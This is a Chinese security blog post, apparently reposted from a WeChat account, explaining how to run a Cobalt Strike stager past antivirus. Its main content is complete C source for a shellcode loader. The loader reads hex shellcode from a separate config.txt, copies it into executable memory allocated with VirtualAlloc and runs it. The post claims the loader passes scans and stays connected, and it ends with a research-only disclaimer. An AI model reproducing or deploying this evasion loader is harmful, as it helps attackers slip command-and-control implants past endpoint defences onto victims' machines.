如何免杀上线CS | shellcode

admin 2023年7月15日14:29:22评论9 views字数 1783阅读5分56秒阅读模式

1.前言

 

好久没写了,水一水,都知道cs生成的stager的马其实就是一个loader,里面套了一层shellcode也就是cs payload generator生成的c代码里面的shellcode,运行它之后从远程服务器下载beacon运行,那很多做免杀的方式也都是对这个shellcode做,对他混淆啊,重写啊,加密啊等等的然后写一个shellcode loader运行shellcode,当然这样做倒是能过一下某绒,某卫士,但是还是有好多人过不了用各种语言写loader,加密shellcode啥的,那就给大家简单分享一个c写的加载器吧,shellcode也没做啥,代码是本地文件分离读取shellcode的,不分离吧也可以过一两分钟就死,改成远的吧也可以,能短时间正常上线执行什么的,但过一些时间就死了,至于什么原因大家可以想一想为什么,下面分享一下代码以及测试图。

 

2.代码及测试

 

2.1 Loader

如何免杀上线CS | shellcode

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <windows.h>
typedef void(*Shellcode)();
int main() {  FILE* file = fopen("config.txt", "r");  if (file == NULL) {    printf("无法打开配置文件。n");    return 1;  }
  // 读取Shellcode内容  char shellcode[4096] = { 0 };  if (fgets(shellcode, sizeof(shellcode), file) == NULL) {    printf("读取Shellcode失败。n");    fclose(file);    return 1;  }
  // 关闭文件  fclose(file);
  // 去除换行符  size_t shellcodeLen = strlen(shellcode);  if (shellcode[shellcodeLen - 1] == 'n') {    shellcode[shellcodeLen - 1] = '�';  }
  // 将Shellcode转换为二进制形式  size_t shellcodeSize = shellcodeLen / 4;  unsigned char* shellcodeBytes = (unsigned char*)malloc(shellcodeSize);  if (shellcodeBytes == NULL) {    printf("内存分配失败。n");    return 1;  }
  for (size_t i = 0; i < shellcodeSize; i++) {    sscanf(shellcode + (i * 4), "\x%2hhx", &shellcodeBytes[i]);  }
  // 分配内存来存储Shellcode  LPVOID shellcodeMem = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  if (shellcodeMem == NULL) {    printf("无法为Shellcode分配内存。n");    free(shellcodeBytes);    return 1;  }
  // 将Shellcode复制到分配的内存中  memcpy(shellcodeMem, shellcodeBytes, shellcodeSize);
  // 执行Shellcode  Shellcode shellcodeFunc = (Shellcode)shellcodeMem;  shellcodeFunc();
  // 释放内存  VirtualFree(shellcodeMem, 0, MEM_RELEASE);  free(shellcodeBytes);
  return 0;}

2.2 Shellcode

shellcode就直接用cs生成c代码把shellcode弄出来粘贴到文件里面就完了。

如何免杀上线CS | shellcode

2.3 效果

扫描没发现问题。

如何免杀上线CS | shellcode

运行几分钟后很稳。

如何免杀上线CS | shellcode

Loader还行。

如何免杀上线CS | shellcode

3.总结

 

有些东西很简单,不要想复杂了,多试几遍就知道某个杀软杀什么了,也能慢慢摸索他们的检测原理,内存啥的都一样,慢慢都想明白了就会感觉不难了只是说有些东西不好说太明白,但各种理论什么的都是开出来的,动动脑子想明白了在去实施效果更好。

原文始发于微信公众号(渗透安全团队):如何免杀上线CS | shellcode

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月15日14:29:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何免杀上线CS | shellcodehttps://cn-sec.com/archives/1879910.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息